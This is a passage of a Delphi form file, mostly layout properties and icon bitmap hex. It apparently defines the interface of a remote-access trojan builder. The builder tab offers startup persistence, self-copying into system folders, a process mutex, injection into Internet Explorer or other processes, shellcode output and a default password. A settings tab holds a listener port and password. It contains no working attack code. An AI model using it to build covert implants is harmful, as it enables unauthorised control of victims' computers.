FF009A9A9900FFFFFF00B1B1B10091919100E2E2E200ADADAD008F8F8F00DCDC\n                DC00A9A9A9008D8D8D00FBFBFB009A999900FF00FF00FF00FF00FF00FF00FF00\n                FF009E9D9D00FFFFFF00E3E3E300E1E1E100DCDCDC00DBDBDB00D7D7D700D3D3\n                D300D3D3D300D1D1D100FFFFFF009E9D9C00FF00FF00FF00FF00FF00FF00FF00\n                FF00A0A0A000FFFFFF00ADADAD008E8E8E00D8D8D800A5A5A5008A8A8A00CECE\n                CE007374E8005258DB00FBFBFB009E9E9E00FF00FF00FF00FF00FF00FF00FF00\n                FF00A3A3A300FCFCFC00DADADA00D7D7D700D2D2D200CECECE00C9C9C900C5C5\n                C500C2C2C200BFBFBF00FFFFFF00A0A0A000FF00FF00FF00FF00FF00FF00FF00\n                FF00A3A3A300FFFFFF00B07B5600C38D6700C58F6800C6906900C8926B00CA94\n                6C00CA956E00B07B5600FFFFFF00A1A09F00FF00FF00FF00FF00FF00FF00FF00\n                FF00A4A4A400FFFFFF00B07B5600C18B6400C38D6600C58F6700C6906900C892\n                6B00CA946C00B07B5600FFFFFF00A0A0A000FF00FF00FF00FF00FF00FF00FF00\n                FF00A3A3A400FFFFFF00A7724D00A7724D00A7724D00A7724D00A7724D00A772\n                4D00A7724D00A7724D00FFFFFF009E9E9E00FF00FF00FF00FF00FF00FF00FF00\n                FF00A7AAAB00F8F9FA00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n                FF00FFFFFF00FFFFFF00FCFDFD00A2A3A400FF00FF00FF00FF00FF00FF00FF00\n                FF00AFB4B700A7A8A900A8A8A800ABABAB00ACACAC00ADADAD00ACACAC00ABAB\n                AB00A8A8A800A4A4A400A2A3A300B0B5B800FF00FF00FF00FF00}\n              ParentFont = False\n              Visible = False\n              OnClick = SpeedButton_1Click\n            end\n            object Label_19: TLabel\n              Left = 19\n              Top = 373\n              Width = 65\n              Height = 13\n              Caption = 'Installation'\n            end\n            object Label_20: TLabel\n              Left = 64\n              Top = 474\n              Width = 54\n              Height = 13\n              Caption = 'Filename:'\n            end\n            object Label_21: TLabel\n              Left = 19\n              Top = 502\n              Width = 56\n              Height = 13\n              Caption = 'Advanced'\n            end\n            object Bevel_8: TBevel\n              Left = 49\n              Top = 423\n              Width = 794\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 826\n            end\n            object Label_22: TLabel\n              Left = 48\n              Top = 539\n              Width = 86\n              Height = 13\n              Caption = 'Process Mutex:'\n            end\n            object SpeedButton_2: TSpeedButton\n              Left = 279\n              Top = 536\n              Width = 22\n              Height = 22\n              Flat = True\n              Font.Charset = ANSI_CHARSET\n              Font.Color = clWindowText\n              Font.Height = -11\n              Font.Name = 'Microsoft Sans Serif'\n              Font.Style = []\n              Glyph.Data = {\n                36040000424D3604000000000000360000002800000010000000100000000100\n                20000000000000040000120B0000120B00000000000000000000FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00C1BFBE00AF9386009A644B008D563C008B553C009262\n                4B00A9918600BFBEBE00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00BBA8A0009E614400B2805700D5B79300DBC3A600DAC3A600D2B4\n                9000AB7A52008C5C4400B3A6A000FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00BDACA000A15A3A00CBA77D00D8BB9F00C39C7700B68A6200B4866000BE96\n                7200D1B39700C5A3770087553C00B3A6A000FF00FF00FF00FF00FF00FF00C5C3\n                BF00AE744500CFAA8100DABCA200BE916600BA8C6200B7895F00B3845E00B183\n                5D00B0835C00CDAA8D00C6A579008F5D4400C0BFBF00FF00FF00FF00FF00C0A5\n                8500BF915E00E0C2A800C5966C00C2916900E1CBB800FEFDFC00FFFFFE00EADC\n                D000B4855E00B3855E00D4B59900AE7B5600AC918500FF00FF00FF00FF00BE8A\n                4B00DBBC9C00D5AD8900C7986C00C3956900C1936700EDDFD300FAF7F400BB8B\n                6300B98A6300B88A6200C59D7800D2B8930098634B00FF00FF00FF00FF00BF81\n                3B00E3C7AF00D0A27600C5996B00C4976A00C4966900EEE0D400FBF7F400BF90\n                6600BE8F6500BE8F6400BE926900DFC6AA0094553A00FF00FF00FF00FF00C588\n                4000E4C9B000D0A37A00CC9D7100C79A6C00C5986B00FFFFFF00FFFFFE00C396\n                6900C1946800C2946800C3986D00DFC5AB0097573A00FF00FF00FF00FF00CB97\n                5600E0BC9F00DBB39300CFA07500CD9E7200CB9C7100DDBFA300DDBFA200C599\n                6B00C5996B00C4986B00D1AB8500D8BA9700A4674B00FF00FF00FF00FF00CBB1\n                8E00CD9C6800E7CBB400D4A57A00D0A07700CF9E7400FBF8F500FBF8F500CB9E\n                7100CB9D7100CDA17700DFC0A500B98A5B00B6978500FF00FF00FF00FF00C9C8\n                C200CD955500D9B28C00E6CAB300D6A97D00D1A57900E2C4A800E1C3A800D0A2\n                7600D1A47700DDBDA200D0AC8500AE714500C4C2BF00FF00FF00FF00FF00FF00\n                FF00CCBDA800CF904D00D9B28C00E6CDB800E0BA9D00D7AB8500D6A98200D9B3\n                9100E1C2AB00D4AE8600B26F3C00C1B0A000FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00CDBDA900D0975700D0A06A00E0BFA000E3C5AE00E3C5AE00DFBC\n                9F00C8976200BE854500C4B5A000FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00CAC8C200CEB49200D19B5F00CD8F4C00CB8E4800C995\n                5500C8AE8B00C8C6BF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00}\n              Layout = blGlyphTop\n              ParentFont = False\n              OnClick = SpeedButton_2Click\n            end\n            object SpeedButton_3: TSpeedButton\n              Left = 263\n              Top = 638\n              Width = 22\n              Height = 22\n              Flat = True\n              Font.Charset = ANSI_CHARSET\n              Font.Color = clWindowText\n              Font.Height = -11\n              Font.Name = 'Microsoft Sans Serif'\n              Font.Style = []\n              Glyph.Data = {\n                36040000424D3604000000000000360000002800000010000000100000000100\n                20000000000000040000120B0000120B00000000000000000000FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00C1BFBE00AF9386009A644B008D563C008B553C009262\n                4B00A9918600BFBEBE00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00BBA8A0009E614400B2805700D5B79300DBC3A600DAC3A600D2B4\n                9000AB7A52008C5C4400B3A6A000FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00BDACA000A15A3A00CBA77D00D8BB9F00C39C7700B68A6200B4866000BE96\n                7200D1B39700C5A3770087553C00B3A6A000FF00FF00FF00FF00FF00FF00C5C3\n                BF00AE744500CFAA8100DABCA200BE916600BA8C6200B7895F00B3845E00B183\n                5D00B0835C00CDAA8D00C6A579008F5D4400C0BFBF00FF00FF00FF00FF00C0A5\n                8500BF915E00E0C2A800C5966C00C2916900E1CBB800FEFDFC00FFFFFE00EADC\n                D000B4855E00B3855E00D4B59900AE7B5600AC918500FF00FF00FF00FF00BE8A\n                4B00DBBC9C00D5AD8900C7986C00C3956900C1936700EDDFD300FAF7F400BB8B\n                6300B98A6300B88A6200C59D7800D2B8930098634B00FF00FF00FF00FF00BF81\n                3B00E3C7AF00D0A27600C5996B00C4976A00C4966900EEE0D400FBF7F400BF90\n                6600BE8F6500BE8F6400BE926900DFC6AA0094553A00FF00FF00FF00FF00C588\n                4000E4C9B000D0A37A00CC9D7100C79A6C00C5986B00FFFFFF00FFFFFE00C396\n                6900C1946800C2946800C3986D00DFC5AB0097573A00FF00FF00FF00FF00CB97\n                5600E0BC9F00DBB39300CFA07500CD9E7200CB9C7100DDBFA300DDBFA200C599\n                6B00C5996B00C4986B00D1AB8500D8BA9700A4674B00FF00FF00FF00FF00CBB1\n                8E00CD9C6800E7CBB400D4A57A00D0A07700CF9E7400FBF8F500FBF8F500CB9E\n                7100CB9D7100CDA17700DFC0A500B98A5B00B6978500FF00FF00FF00FF00C9C8\n                C200CD955500D9B28C00E6CAB300D6A97D00D1A57900E2C4A800E1C3A800D0A2\n                7600D1A47700DDBDA200D0AC8500AE714500C4C2BF00FF00FF00FF00FF00FF00\n                FF00CCBDA800CF904D00D9B28C00E6CDB800E0BA9D00D7AB8500D6A98200D9B3\n                9100E1C2AB00D4AE8600B26F3C00C1B0A000FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00CDBDA900D0975700D0A06A00E0BFA000E3C5AE00E3C5AE00DFBC\n                9F00C8976200BE854500C4B5A000FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00CAC8C200CEB49200D19B5F00CD8F4C00CB8E4800C995\n                5500C8AE8B00C8C6BF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00\n                FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00}\n              Layout = blGlyphTop\n              ParentFont = False\n              OnClick = SpeedButton_3Click\n            end\n            object Bevel_9: TBevel\n              Left = 19\n              Top = 392\n              Width = 824\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 856\n            end\n            object Label_23: TLabel\n              Left = 55\n              Top = 687\n              Width = 47\n              Height = 13\n              Caption = 'Process:'\n            end\n            object SpeedButton_4: TSpeedButton\n              Left = 802\n              Top = 786\n              Width = 57\n              Height = 22\n              Anchors = [akTop, akRight]\n              Caption = 'Build '\n              Flat = True\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clWindowText\n              Font.Height = -11\n              Font.Name = 'MS Sans Serif'\n              Font.Style = []\n              Glyph.Data = {\n                36030000424D3603000000000000360000002800000010000000100000000100\n                18000000000000030000120B0000120B00000000000000000000C8D0D4C8D0D4\n                C8D0D4C6CED2AEB5B85A5B5B6869696E6E6E6D6D6D9EA3A6AAB0B37070706E6E\n                6E6869695A5B5BAEB5B8C8D0D4C8D0D4C8D0D4AEB5B9606262919191ACACACAE\n                AEAE979797717171787878979797AEAEAEACADAD919191606262C8D0D4C8D0D4\n                C8D0D4888D8F6D6D6ED3D3CE6666664444444646465151515151514646464444\n                44727576C4C4C46D6E6EC8D0D4C8D0D4C4CCCF6D6E6F838383D3D3CEE5E5E547\n                4747BDBDBDCECECEC2C2C2ADADAD444444BEC5C8C4C4C4848485C7CFD3B9BEC0\n                A7A8A89595957A7A7AD3D3CE7E7E7E4D4D4D6565659292927979796565654C4C\n                4C6B6C6CC4C4C4787878AEB0B2BEBEBEE3E3E3EDEDED939393919191E8E8E8DD\n                DDDDC1C1C18989898C8C8CD8D8D8DDDDDDC4C4C4919191737374A7A7A7F5F5F5\n                F2F2F2E7E7E7DDDDDDA9A9A98B8B8B9E9E9E848484AFAFAFBABABA8585859E9E\n                9E8989899D9D9D939393ABABACF3F3F3F0F0F0ECECECEAEAEAE4E4E4DADADAD8\n                D8D8C4C4C4BBBBBBBEBEBEC2C2C2C3C3C3C0C0C0CBCBCB9B9B9CACACACF3F3F3\n                F1F1F1EEEEEEE1E1E1C7C7C7CBCBCBD1D1D1D1D1D1CCCCCCB1B1B1BBBBBBC0C0\n                C0C0C0C0CECECE9C9C9CADADADF3F3F3E9E9E9DDDDDDDEDEDEC2C2C2DADADAFD\n                FDFDFDFDFDDADADAC3C3C3D7D7D7BBBBBBBBBBBBCFCFCF9D9D9DACADADD8D8D8\n                CDCDCDCECECED1D1D1ACACACFFFFFFFFFFFFFFFFFFFFFFFFACACACD1D1D1CCCC\n                CCC1C1C1BEBEBE9C9C9CB8BBBCAEAEAED5D5D5FDFDFDFDFDFDC7C7C7B5B5B5A3\n                A3A3A3A3A3B5B5B5C7C7C7FCFCFCFBFBFBD2D2D2AEAEAEACAFB0C8D0D4AAAAAA\n                FFFFFFFFFFFFFFFFFFE0E0E0ACACACD1D1D1D1D1D1ABABABE0E0E0FFFFFFFFFF\n                FFFFFFFFAAAAAAC8D0D4C8D0D4C5C9CBB6B7B7A2A2A2A2A2A2B1B1B1D6D6D6FD\n                FDFDFCFCFCD3D3D3B1B1B1A2A2A2A2A2A2B6B7B7C5C9CBC8D0D4C8D0D4C8D0D4\n                C8D0D4C8D0D4C6CDD1AAAAAAFFFFFFFFFFFFFFFFFFFFFFFFAAAAAAC5CCCFC8D0\n                D4C8D0D4C8D0D4C8D0D4C8D0D4C8D0D4C8D0D4C8D0D4C8D0D4C5C9CBB5B6B6A2\n                A2A2A2A2A2B5B6B6C5C9CBC8D0D4C8D0D4C8D0D4C8D0D4C8D0D4}\n              ParentFont = False\n              OnClick = SpeedButton_4Click\n              ExplicitLeft = 818\n            end\n            object Label_25: TLabel\n              Left = 440\n              Top = 618\n              Width = 44\n              Height = 13\n              Caption = 'Format:'\n            end\n            object Bevel_7: TBevel\n              Left = 19\n              Top = 521\n              Width = 824\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 856\n            end\n            object Bevel_10: TBevel\n              Left = 48\n              Top = 607\n              Width = 794\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 826\n            end\n            object Bevel_14: TBevel\n              Left = 32\n              Top = 289\n              Width = 810\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 842\n            end\n            object Edit_DnsList: TEdit\n              Left = 112\n              Top = 31\n              Width = 177\n              Height = 21\n              Color = clScrollBar\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              ReadOnly = True\n              TabOrder = 0\n            end\n            object Edit_ID: TEdit\n              Left = 112\n              Top = 58\n              Width = 121\n              Height = 21\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              MaxLength = 7\n              TabOrder = 1\n            end\n            object Edit_BPassword: TEdit\n              Left = 112\n              Top = 93\n              Width = 121\n              Height = 21\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              MaxLength = 255\n              TabOrder = 2\n              Text = 'killeven'\n            end\n            object CheckBox_1: TCheckBox\n              Left = 239\n              Top = 95\n              Width = 109\n              Height = 17\n              Caption = 'Hide Password'\n              TabOrder = 3\n              OnClick = CheckBox_1Click\n            end\n            object CheckBox_Socks5: TCheckBox\n              Left = 32\n              Top = 120\n              Width = 129\n              Height = 17\n              Caption = 'Socks5'\n              TabOrder = 4\n              OnClick = CheckBox_Socks5Click\n            end\n            object Edit_Socks5_Server: TEdit\n              Left = 128\n              Top = 151\n              Width = 129\n              Height = 21\n              Color = clScrollBar\n              Enabled = False\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              TabOrder = 5\n            end\n            object SpinEdit_Socks5_Port: TSpinEdit\n              Left = 128\n              Top = 178\n              Width = 129\n              Height = 22\n              Color = clScrollBar\n              Enabled = False\n              MaxValue = 65535\n              MinValue = 0\n              TabOrder = 6\n              Value = 0\n            end\n            object Edit_Socks5_Username: TEdit\n              Left = 128\n              Top = 213\n              Width = 129\n              Height = 21\n              Color = clScrollBar\n              Enabled = False\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              TabOrder = 7\n            end\n            object Edit_Socks5_Password: TEdit\n              Left = 128\n              Top = 240\n              Width = 129\n              Height = 21\n              Color = clScrollBar\n              Enabled = False\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              TabOrder = 8\n            end\n            object CheckBox_Startup: TCheckBox\n              Left = 19\n              Top = 272\n              Width = 97\n              Height = 17\n              Caption = 'Startup'\n              TabOrder = 9\n              OnClick = CheckBox_StartupClick\n            end\n            object Edit_StartupName: TEdit\n              Left = 128\n              Top = 342\n              Width = 305\n              Height = 21\n              Color = clScrollBar\n              Enabled = False\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              MaxLength = 100\n              TabOrder = 10\n            end\n            object CheckBox_CopySelf: TCheckBox\n              Left = 48\n              Top = 400\n              Width = 113\n              Height = 17\n              Caption = 'Copy file to:'\n              TabOrder = 11\n              OnClick = CheckBox_CopySelfClick\n            end\n            object Edit_FileName: TEdit\n              Left = 128\n              Top = 471\n              Width = 305\n              Height = 21\n              Color = clScrollBar\n              Enabled = False\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              MaxLength = 100\n              TabOrder = 12\n            end\n            object Edit_Mutex: TEdit\n              Left = 152\n              Top = 536\n              Width = 121\n              Height = 21\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              TabOrder = 13\n              Text = ')!VoqA.I4'\n            end\n            object CheckBox_Inject: TCheckBox\n              Left = 49\n              Top = 586\n              Width = 185\n              Height = 17\n              Caption = 'Inject'\n              TabOrder = 14\n              OnClick = CheckBox_InjectClick\n            end\n            object RadioButton_InjectIE: TRadioButton\n              Left = 64\n              Top = 617\n              Width = 113\n              Height = 17\n              Caption = 'Inject into IE'\n              Checked = True\n              Enabled = False\n              TabOrder = 15\n              TabStop = True\n            end\n            object RadioButton_InjectCustom: TRadioButton\n              Left = 64\n              Top = 640\n              Width = 189\n              Height = 17\n              Caption = 'Inject Into a custom process'\n              Enabled = False\n              TabOrder = 16\n            end\n            object Panel_2: TPanel\n              Left = 55\n              Top = 431\n              Width = 218\n              Height = 37\n              BevelOuter = bvNone\n              TabOrder = 17\n              object RadioButton_SystemFolder: TRadioButton\n                Left = 0\n                Top = 0\n                Width = 218\n                Height = 17\n                Align = alTop\n                Caption = 'System Folder'\n                Checked = True\n                Enabled = False\n                TabOrder = 0\n                TabStop = True\n              end\n              object RadioButton_WindowsFolder: TRadioButton\n                Left = 0\n                Top = 17\n                Width = 218\n                Height = 17\n                Align = alTop\n                Caption = 'Windows Folder'\n                Enabled = False\n                TabOrder = 1\n              end\n            end\n            object Edit_InjectProcess: TEdit\n              Left = 128\n              Top = 684\n              Width = 145\n              Height = 21\n              Color = clScrollBar\n              Enabled = False\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              TabOrder = 18\n            end\n            object Panel_3: TPanel\n              Left = 459\n              Top = 696\n              Width = 185\n              Height = 76\n              BevelOuter = bvNone\n              TabOrder = 19\n              object RadioButton_Binary: TRadioButton\n                Left = 0\n                Top = 0\n                Width = 185\n                Height = 17\n                Align = alTop\n                Caption = 'Binary'\n                Checked = True\n                TabOrder = 0\n                TabStop = True\n              end\n              object RadioButton_CArray: TRadioButton\n                Left = 0\n                Top = 17\n                Width = 185\n                Height = 17\n                Align = alTop\n                Caption = 'C Array'\n                TabOrder = 1\n              end\n              object RadioButton_DelphiArray: TRadioButton\n                Left = 0\n                Top = 34\n                Width = 185\n                Height = 17\n                Align = alTop\n                Caption = 'Delphi Array'\n                TabOrder = 2\n              end\n              object RadioButton_PythonArray: TRadioButton\n                Left = 0\n                Top = 51\n                Width = 185\n                Height = 17\n                Align = alTop\n                Caption = 'Python Array'\n                TabOrder = 3\n              end\n            end\n            object Panel_4: TPanel\n              Left = 440\n              Top = 637\n              Width = 258\n              Height = 55\n              BevelOuter = bvNone\n              TabOrder = 20\n              object Label_24: TLabel\n                Left = 19\n                Top = 17\n                Width = 131\n                Height = 13\n                Caption = 'File Alignment (bytes): '\n              end\n              object RadioButton_PE: TRadioButton\n                Left = 0\n                Top = 0\n                Width = 258\n                Height = 17\n                Align = alTop\n                Caption = 'PE'\n                Enabled = False\n                TabOrder = 0\n              end\n              object SpinEdit_FileAlign: TSpinEdit\n                Left = 156\n                Top = 13\n                Width = 65\n                Height = 22\n                Enabled = False\n                MaxValue = 0\n                MinValue = 0\n                TabOrder = 1\n                Value = 1024\n              end\n              object RadioButton_ShellCode: TRadioButton\n                Left = 0\n                Top = 36\n                Width = 163\n                Height = 17\n                Caption = 'ShellCode'\n                Checked = True\n                TabOrder = 2\n                TabStop = True\n              end\n            end\n            object Panel_5: TPanel\n              Left = 49\n              Top = 295\n              Width = 208\n              Height = 25\n              BevelOuter = bvNone\n              TabOrder = 21\n              object RadioButton_CurrentRun: TRadioButton\n                Left = 0\n                Top = 0\n                Width = 97\n                Height = 25\n                Align = alLeft\n                Caption = 'CurrentRun'\n                Checked = True\n                Enabled = False\n                TabOrder = 0\n                TabStop = True\n                OnClick = RadioButton_CurrentRunClick\n              end\n              object RadioButton_ActiveX: TRadioButton\n                Left = 97\n                Top = 0\n                Width = 113\n                Height = 25\n                Align = alLeft\n                Caption = 'ActiveX'\n                Enabled = False\n                TabOrder = 1\n                OnClick = RadioButton_ActiveXClick\n              end\n            end\n            object CheckBox_2: TCheckBox\n              Left = 263\n              Top = 242\n              Width = 109\n              Height = 17\n              Caption = 'Hide Password'\n              TabOrder = 22\n              OnClick = CheckBox_2Click\n            end\n          end\n        end\n      end\n      object TabSheet_Setting: TTabSheet\n        Caption = 'TabSheet_Setting'\n        ImageIndex = 2\n        object GroupBox_Setting: TGroupBox\n          Left = 0\n          Top = 0\n          Width = 929\n          Height = 530\n          Align = alClient\n          Caption = 'Settings'\n          Font.Charset = DEFAULT_CHARSET\n          Font.Color = clBlue\n          Font.Height = -11\n          Font.Name = 'Tahoma'\n          Font.Style = [fsBold]\n          ParentFont = False\n          TabOrder = 0\n          object Panel_1: TPanel\n            Left = 2\n            Top = 499\n            Width = 925\n            Height = 29\n            Align = alBottom\n            BevelOuter = bvNone\n            TabOrder = 0\n            DesignSize = (\n              925\n              29)\n            object SpeedButton_Save: TSpeedButton\n              Left = 862\n              Top = 4\n              Width = 57\n              Height = 22\n              Anchors = [akRight, akBottom]\n              Caption = 'Save '\n              Flat = True\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clWindowText\n              Font.Height = -11\n              Font.Name = 'MS Sans Serif'\n              Font.Style = []\n              Glyph.Data = {\n                36040000424D3604000000000000360000002800000010000000100000000100\n                20000000000000040000120B0000120B00000000000000000000D8AB8E00CD95\n                7000BD734200B7683500B5683500B4673400B2663400B0653300AE643300AC63\n                3200AA623200A9613200A8603100A7613200AB693C00BC866100C37D4F00EBC6\n                AD00EAC5AD00FEFBF800FEFBF800FEFBF800FEFBF800FEFBF800FEFBF800FEFB\n                F800FEFBF800FEFBF800FEFBF800C89A7C00C7987900AD6B4000BA6C3800EDCA\n                B300E0A27A00FEFAF70062C0880062C0880062C0880062C0880062C0880062C0\n                880062C0880062C08800FDF9F600CA8D6500C99B7C00A7613200BB6C3800EECC\n                B600E1A27A00FEFAF700BFDCC200BFDCC200BFDCC200BFDCC200BFDCC200BFDC\n                C200BFDCC200BFDCC200FDF9F600CD906800CC9E8100A8613200BB6B3800EFCE\n                B800E1A27900FEFAF70062C0880062C0880062C0880062C0880062C0880062C0\n                880062C0880062C08800FDF9F600CF936A00CEA38400AA613200BA6A3600EFD0\n                BB00E2A27A00FEFBF800FEFBF800FEFBF800FEFBF800FEFBF800FEFBF800FEFB\n                F800FEFBF800FEFBF800FEFBF800D3966D00D2A78A00AB623200BB6A3600F0D2\n                BE00E2A37A00E2A37A00E1A37A00E2A37B00E1A37B00E0A17800DE9F7700DD9F\n                7600DC9D7400D99B7200D8997100D6997000D5AB8E00AD633300BB6A3600F2D5\n                C200E3A37A00E3A37A00E2A37B00E2A37B00E2A47B00E1A27900E0A17800DEA0\n                7700DE9E7500DC9D7400DA9B7300D99B7300DAB09500AF643300BB6A3600F2D8\n                C500E3A47B00E3A37A00E3A47A00E2A47B00E2A37B00E1A37B00E1A27900DFA0\n                7700DE9F7600DD9E7400DB9C7200DC9D7400DDB59A00B1653400BB6B3600F4D9\n                C700E6A67D00C88C6400C98D6500C98E6700CB926C00CB926D00CA906900C88C\n                6500C88C6400C88C6400C88C6400DA9C7400E1BA9F00B3663400BB6C3700F4DC\n                C900E7A77D00F9ECE100F9ECE100F9EDE300FCF4EE00FDFAF700FDF7F300FAED\n                E500F7E7DB00F7E5D900F6E5D800DEA07700E4BEA400B4673400BD6E3A00F5DD\n                CC00E7A87E00FAF0E800FAF0E800C98D6600FAF0E900FDF8F300FEFAF800FCF4\n                EF00F9E9DF00F7E7DB00F7E5D900E0A27800E7C2A900B6683500C0744200F6DF\n                D000E8A87E00FCF6F100FCF6F100C88C6400FAF1E900FBF4EE00FDFAF700FDF9\n                F600FAF0E800F8E8DD00F7E6DB00E1A37A00EFD5C300B76A3600C6825500F6DF\n                D100E9AA8000FEFAF600FDFAF600C88C6400FBF3EE00FBF1EA00FCF6F200FEFB\n                F800FCF6F100F9ECE200F8E7DB00EED0BA00ECD0BD00BD744300D6A58500F6E0\n                D100F7E0D100FEFBF800FEFBF700FDF9F600FCF5F000FAF0EA00FBF2ED00FDF9\n                F600FDFAF700FBF1EB00F8E9DF00ECD1BE00CD926A00E2C5B100E1BDA600D9AB\n                8D00C9895E00C0754300BD6E3A00BB6C3700BB6B3600BB6A3600BB6A3600BC6C\n                3900BD6E3B00BB6D3A00BF744400C98D6500E7CEBC00C8D0D400}\n              ParentFont = False\n              OnClick = SpeedButton_SaveClick\n              ExplicitLeft = 750\n            end\n          end\n          object ScrollBox_Setting: TScrollBox\n            Left = 2\n            Top = 15\n            Width = 925\n            Height = 484\n            HorzScrollBar.Range = 385\n            VertScrollBar.Range = 300\n            Align = alClient\n            AutoScroll = False\n            BevelInner = bvNone\n            BorderStyle = bsNone\n            Font.Charset = DEFAULT_CHARSET\n            Font.Color = clGradientActiveCaption\n            Font.Height = -11\n            Font.Name = 'Tahoma'\n            Font.Style = [fsBold]\n            ParentFont = False\n            TabOrder = 1\n            DesignSize = (\n              925\n              484)\n            object Label_1: TLabel\n              Left = 25\n              Top = 3\n              Width = 59\n              Height = 13\n              Caption = 'Connections'\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clWindowText\n              Font.Height = -11\n              Font.Name = 'Tahoma'\n              Font.Style = []\n              ParentFont = False\n            end\n            object Bevel_1: TBevel\n              Left = 25\n              Top = 17\n              Width = 865\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 769\n            end\n            object Label_5: TLabel\n              Left = 40\n              Top = 33\n              Width = 70\n              Height = 13\n              Caption = 'Listen on port:'\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clBlack\n              Font.Height = -11\n              Font.Name = 'Tahoma'\n              Font.Style = []\n              ParentFont = False\n            end\n            object Label_6: TLabel\n              Left = 40\n              Top = 64\n              Width = 50\n              Height = 13\n              Caption = 'Password:'\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clBlack\n              Font.Height = -11\n              Font.Name = 'Tahoma'\n              Font.Style = []\n              ParentFont = False\n            end\n            object Label_2: TLabel\n              Left = 25\n              Top = 99\n              Width = 43\n              Height = 13\n              Caption = 'Features'\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clBlack\n              Font.Height = -11\n              Font.Name = 'Tahoma'\n              Font.Style = []\n              ParentFont = False\n            end\n            object Bevel_2: TBevel\n              Left = 25\n              Top = 118\n              Width = 865\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 753\n            end\n            object Label_4: TLabel\n              Left = 25\n              Top = 163\n              Width = 58\n              Height = 13\n              Caption = 'Appearance'\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clBlack\n              Font.Height = -11\n              Font.Name = 'Tahoma'\n              Font.Style = []\n              ParentFont = False\n            end\n            object Bevel_3: TBevel\n              Left = 25\n              Top = 182\n              Width = 865\n              Height = 2\n              Anchors = [akLeft, akTop, akRight]\n              Style = bsRaised\n              ExplicitWidth = 753\n            end\n            object SpinEdit_Port: TSpinEdit\n              Left = 160\n              Top = 29\n              Width = 121\n              Height = 22\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clBlack\n              Font.Height = -11\n              Font.Name = 'Tahoma'\n              Font.Style = []\n              MaxValue = 65535\n              MinValue = 0\n              ParentFont = False\n              TabOrder = 0\n              Value = 8080\n            end\n            object Edit_Password: TEdit\n              Left = 160\n              Top = 60\n              Width = 121\n              Height = 21\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clBlack\n              Font.Height = -11\n              Font.Name = 'Tahoma'\n              Font.Style = []\n              ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n              ParentFont = False\n              PasswordChar = '*'\n              TabOrder = 1\n              Text = 'killeven'\n            end\n            object CheckBox_Password: TCheckBox\n              Left = 304\n              Top = 62\n              Width = 113\n              Height = 17\n              Caption = 'Hide Password'\n              Checked = True\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clBlack\n              Font.Height = -11\n              Font.Name = 'Tahoma'\n              Font.Style = []\n              ParentFont = False\n              State = cbChecked\n              TabOrder = 2\n              OnClick = CheckBox_PasswordClick\n            end\n            object RadioButton_Layout_TreeView: TRadioButton\n              Left = 25\n              Top = 126\n              Width = 113\n              Height = 17\n              Caption = 'TreeView Layout'\n              Checked 